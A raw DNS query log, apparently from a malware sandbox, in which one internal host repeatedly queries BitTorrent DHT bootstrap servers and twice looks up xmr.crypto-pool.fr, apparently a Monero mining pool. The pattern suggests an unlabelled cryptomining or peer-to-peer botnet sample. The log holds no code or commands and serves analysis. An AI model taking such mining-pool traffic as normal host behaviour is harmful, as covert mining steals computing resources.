Aug 23, 2023 09:15:38.526052952 CEST	192.168.2.3	8.8.8.8	0xcef5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.557696104 CEST	192.168.2.3	8.8.8.8	0x2702	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.612314939 CEST	192.168.2.3	8.8.8.8	0x9284	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.634761095 CEST	192.168.2.3	8.8.8.8	0x40ee	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.669795036 CEST	192.168.2.3	8.8.8.8	0x6fbb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.735510111 CEST	192.168.2.3	8.8.8.8	0xc705	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.755204916 CEST	192.168.2.3	8.8.8.8	0x5b2a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:38.838608027 CEST	192.168.2.3	8.8.8.8	0xb28	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.511774063 CEST	192.168.2.3	8.8.8.8	0xe5b2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.587975979 CEST	192.168.2.3	8.8.8.8	0xa6c0	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.606448889 CEST	192.168.2.3	8.8.8.8	0xf044	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.684037924 CEST	192.168.2.3	8.8.8.8	0xe7ee	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.703681946 CEST	192.168.2.3	8.8.8.8	0x7486	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.762968063 CEST	192.168.2.3	8.8.8.8	0x7527	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.795526981 CEST	192.168.2.3	8.8.8.8	0xa144	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:42.821966887 CEST	192.168.2.3	8.8.8.8	0x86f8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.514152050 CEST	192.168.2.3	8.8.8.8	0x269b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.534105062 CEST	192.168.2.3	8.8.8.8	0xd536	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.618391991 CEST	192.168.2.3	8.8.8.8	0xb158	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.636879921 CEST	192.168.2.3	8.8.8.8	0xfc9e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.725425959 CEST	192.168.2.3	8.8.8.8	0xaf56	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.745842934 CEST	192.168.2.3	8.8.8.8	0x5326	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.802700996 CEST	192.168.2.3	8.8.8.8	0x6165	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.823867083 CEST	192.168.2.3	8.8.8.8	0xf5d3	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.923410892 CEST	192.168.2.3	8.8.8.8	0x8e7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.958039999 CEST	192.168.2.3	8.8.8.8	0x4336	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:44.977411032 CEST	192.168.2.3	8.8.8.8	0x713b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.037878990 CEST	192.168.2.3	8.8.8.8	0xaf24	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.076509953 CEST	192.168.2.3	8.8.8.8	0x1bff	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.093913078 CEST	192.168.2.3	8.8.8.8	0x867b	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.156881094 CEST	192.168.2.3	8.8.8.8	0xce57	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.176398993 CEST	192.168.2.3	8.8.8.8	0x30e8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.556406975 CEST	192.168.2.3	8.8.8.8	0x369e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.582779884 CEST	192.168.2.3	8.8.8.8	0xb436	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.615144014 CEST	192.168.2.3	8.8.8.8	0xf35f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.703064919 CEST	192.168.2.3	8.8.8.8	0xb051	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.730107069 CEST	192.168.2.3	8.8.8.8	0x3fe1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.755143881 CEST	192.168.2.3	8.8.8.8	0x16d6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.796427965 CEST	192.168.2.3	8.8.8.8	0xdff5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:45.819924116 CEST	192.168.2.3	8.8.8.8	0x5c42	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.529330015 CEST	192.168.2.3	8.8.8.8	0x52a4	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.562925100 CEST	192.168.2.3	8.8.8.8	0xcc9c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.588516951 CEST	192.168.2.3	8.8.8.8	0x5ff1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.754961014 CEST	192.168.2.3	8.8.8.8	0x233	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.774897099 CEST	192.168.2.3	8.8.8.8	0xb1fb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.843416929 CEST	192.168.2.3	8.8.8.8	0xe6df	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.872117996 CEST	192.168.2.3	8.8.8.8	0xcee7	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:46.963973045 CEST	192.168.2.3	8.8.8.8	0x5928	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:49.454655886 CEST	192.168.2.3	8.8.8.8	0xc905	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.737462997 CEST	192.168.2.3	8.8.8.8	0xbaa9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.771733999 CEST	192.168.2.3	8.8.8.8	0x2370	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.876924992 CEST	192.168.2.3	8.8.8.8	0xe10f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.971503019 CEST	192.168.2.3	8.8.8.8	0x9076	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:52.993068933 CEST	192.168.2.3	8.8.8.8	0x8fcb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.057760000 CEST	192.168.2.3	8.8.8.8	0xe82c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.090183973 CEST	192.168.2.3	8.8.8.8	0x2009	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.115442038 CEST	192.168.2.3	8.8.8.8	0xe9f4	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.190418005 CEST	192.168.2.3	8.8.8.8	0xea40	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.208054066 CEST	192.168.2.3	8.8.8.8	0x6f17	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.242789984 CEST	192.168.2.3	8.8.8.8	0xebce	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.261481047 CEST	192.168.2.3	8.8.8.8	0x3cc0	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.290019989 CEST	192.168.2.3	8.8.8.8	0xce1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.309478998 CEST	192.168.2.3	8.8.8.8	0xf73e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.328463078 CEST	192.168.2.3	8.8.8.8	0x4602	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:53.408107042 CEST	192.168.2.3	8.8.8.8	0x209f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.556813955 CEST	192.168.2.3	8.8.8.8	0x3b70	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.574460030 CEST	192.168.2.3	8.8.8.8	0x2289	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.593054056 CEST	192.168.2.3	8.8.8.8	0x52b0	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.619669914 CEST	192.168.2.3	8.8.8.8	0x375d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.638670921 CEST	192.168.2.3	8.8.8.8	0x2288	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.666029930 CEST	192.168.2.3	8.8.8.8	0x8f2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.683661938 CEST	192.168.2.3	8.8.8.8	0x1601	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:15:55.709340096 CEST	192.168.2.3	8.8.8.8	0x23f9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.502310038 CEST	192.168.2.3	8.8.8.8	0xfb51	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.531296968 CEST	192.168.2.3	8.8.8.8	0xe21f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.561331987 CEST	192.168.2.3	8.8.8.8	0x87f2	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.585092068 CEST	192.168.2.3	8.8.8.8	0xda31	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.618587971 CEST	192.168.2.3	8.8.8.8	0x8d6f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.649579048 CEST	192.168.2.3	8.8.8.8	0x1196	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.679922104 CEST	192.168.2.3	8.8.8.8	0x18a1	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:00.710967064 CEST	192.168.2.3	8.8.8.8	0x47ac	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.521927118 CEST	192.168.2.3	8.8.8.8	0xcdc5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.560847044 CEST	192.168.2.3	8.8.8.8	0xbc2b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.596574068 CEST	192.168.2.3	8.8.8.8	0x228d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.678499937 CEST	192.168.2.3	8.8.8.8	0x458c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.700980902 CEST	192.168.2.3	8.8.8.8	0x7751	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.751758099 CEST	192.168.2.3	8.8.8.8	0x22c1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.781929016 CEST	192.168.2.3	8.8.8.8	0x4ab6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.810919046 CEST	192.168.2.3	8.8.8.8	0xe8e8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:01.973140955 CEST	192.168.2.3	8.8.8.8	0x2cca	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.005502939 CEST	192.168.2.3	8.8.8.8	0xf2c3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.023684025 CEST	192.168.2.3	8.8.8.8	0x8aad	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.061271906 CEST	192.168.2.3	8.8.8.8	0xe053	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.099992037 CEST	192.168.2.3	8.8.8.8	0x1e01	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.132859945 CEST	192.168.2.3	8.8.8.8	0xdee8	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.155741930 CEST	192.168.2.3	8.8.8.8	0xec1d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:02.198259115 CEST	192.168.2.3	8.8.8.8	0xb1c8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.500979900 CEST	192.168.2.3	8.8.8.8	0x284f	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.520982027 CEST	192.168.2.3	8.8.8.8	0xe93a	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.551151037 CEST	192.168.2.3	8.8.8.8	0x3de5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.586266994 CEST	192.168.2.3	8.8.8.8	0x2382	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.609371901 CEST	192.168.2.3	8.8.8.8	0xafdb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.638489008 CEST	192.168.2.3	8.8.8.8	0x8727	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.733978987 CEST	192.168.2.3	8.8.8.8	0x3b67	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:03.759828091 CEST	192.168.2.3	8.8.8.8	0x9a47	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:06.953227043 CEST	192.168.2.3	8.8.8.8	0xa433	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:06.980957985 CEST	192.168.2.3	8.8.8.8	0x6196	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.008483887 CEST	192.168.2.3	8.8.8.8	0x16c9	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.060904980 CEST	192.168.2.3	8.8.8.8	0x9221	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.151817083 CEST	192.168.2.3	8.8.8.8	0x54f0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.185302973 CEST	192.168.2.3	8.8.8.8	0x7d52	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.340454102 CEST	192.168.2.3	8.8.8.8	0xed4c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:07.368670940 CEST	192.168.2.3	8.8.8.8	0xfe15	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.498971939 CEST	192.168.2.3	8.8.8.8	0xb96b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.526443005 CEST	192.168.2.3	8.8.8.8	0xb579	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.555325985 CEST	192.168.2.3	8.8.8.8	0x19c8	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.579929113 CEST	192.168.2.3	8.8.8.8	0x84d3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.598042965 CEST	192.168.2.3	8.8.8.8	0x5927	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.627681971 CEST	192.168.2.3	8.8.8.8	0x3db5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.647180080 CEST	192.168.2.3	8.8.8.8	0x72f2	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:11.673034906 CEST	192.168.2.3	8.8.8.8	0x97fe	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.528716087 CEST	192.168.2.3	8.8.8.8	0x2a2e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.596873999 CEST	192.168.2.3	8.8.8.8	0x94a1	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.624682903 CEST	192.168.2.3	8.8.8.8	0x6019	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.680988073 CEST	192.168.2.3	8.8.8.8	0x294b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.707762957 CEST	192.168.2.3	8.8.8.8	0x772a	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.735678911 CEST	192.168.2.3	8.8.8.8	0xe4ae	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.765696049 CEST	192.168.2.3	8.8.8.8	0x3338	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:16.790155888 CEST	192.168.2.3	8.8.8.8	0xeea9	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.212430000 CEST	192.168.2.3	8.8.8.8	0xd4c1	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.564131975 CEST	192.168.2.3	8.8.8.8	0x76ef	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.582010984 CEST	192.168.2.3	8.8.8.8	0x1f02	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.606398106 CEST	192.168.2.3	8.8.8.8	0x5887	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.633085966 CEST	192.168.2.3	8.8.8.8	0x8a3a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.669290066 CEST	192.168.2.3	8.8.8.8	0x7621	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.698115110 CEST	192.168.2.3	8.8.8.8	0x2c3d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.717586040 CEST	192.168.2.3	8.8.8.8	0x52ae	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:17.739635944 CEST	192.168.2.3	8.8.8.8	0x331d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.050035000 CEST	192.168.2.3	8.8.8.8	0x4dfd	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.075210094 CEST	192.168.2.3	8.8.8.8	0xff87	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.098257065 CEST	192.168.2.3	8.8.8.8	0x19b7	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.143383980 CEST	192.168.2.3	8.8.8.8	0xc38c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.172955990 CEST	192.168.2.3	8.8.8.8	0x8667	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.200953960 CEST	192.168.2.3	8.8.8.8	0x219c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.245089054 CEST	192.168.2.3	8.8.8.8	0x9127	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.273633003 CEST	192.168.2.3	8.8.8.8	0xfec6	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.657202959 CEST	192.168.2.3	8.8.8.8	0x7213	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.682183981 CEST	192.168.2.3	8.8.8.8	0x8acb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.716393948 CEST	192.168.2.3	8.8.8.8	0x5f6b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.744292974 CEST	192.168.2.3	8.8.8.8	0x25a4	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.946209908 CEST	192.168.2.3	8.8.8.8	0xe073	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.974211931 CEST	192.168.2.3	8.8.8.8	0x231f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:18.992317915 CEST	192.168.2.3	8.8.8.8	0xf89f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.019690990 CEST	192.168.2.3	8.8.8.8	0xceaf	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.048708916 CEST	192.168.2.3	8.8.8.8	0xe4a9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.069880962 CEST	192.168.2.3	8.8.8.8	0xd580	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.107254982 CEST	192.168.2.3	8.8.8.8	0x2475	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.142678022 CEST	192.168.2.3	8.8.8.8	0x2336	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.161932945 CEST	192.168.2.3	8.8.8.8	0xa2fb	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.186131001 CEST	192.168.2.3	8.8.8.8	0x6aa7	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.205916882 CEST	192.168.2.3	8.8.8.8	0x7bdb	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:19.229948997 CEST	192.168.2.3	8.8.8.8	0xa57d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.682084084 CEST	192.168.2.3	8.8.8.8	0x7e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.705616951 CEST	192.168.2.3	8.8.8.8	0x6cdc	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.753747940 CEST	192.168.2.3	8.8.8.8	0x2046	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.790703058 CEST	192.168.2.3	8.8.8.8	0xc466	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.816728115 CEST	192.168.2.3	8.8.8.8	0x5687	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.840352058 CEST	192.168.2.3	8.8.8.8	0x8a32	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.860084057 CEST	192.168.2.3	8.8.8.8	0xa1a8	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:20.892712116 CEST	192.168.2.3	8.8.8.8	0xfd89	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.127213955 CEST	192.168.2.3	8.8.8.8	0xaaa2	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.149626970 CEST	192.168.2.3	8.8.8.8	0x6a9d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.170995951 CEST	192.168.2.3	8.8.8.8	0x8615	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.199052095 CEST	192.168.2.3	8.8.8.8	0xca9b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.233791113 CEST	192.168.2.3	8.8.8.8	0x912	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.254297018 CEST	192.168.2.3	8.8.8.8	0xd93d	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.281203985 CEST	192.168.2.3	8.8.8.8	0xdac0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:21.311424017 CEST	192.168.2.3	8.8.8.8	0x2df0	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.501921892 CEST	192.168.2.3	8.8.8.8	0xe53b	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.522916079 CEST	192.168.2.3	8.8.8.8	0x62bb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.543732882 CEST	192.168.2.3	8.8.8.8	0xc018	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:16:22.561281919 CEST	192.168.2.3	8.8.8.8	0x507a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
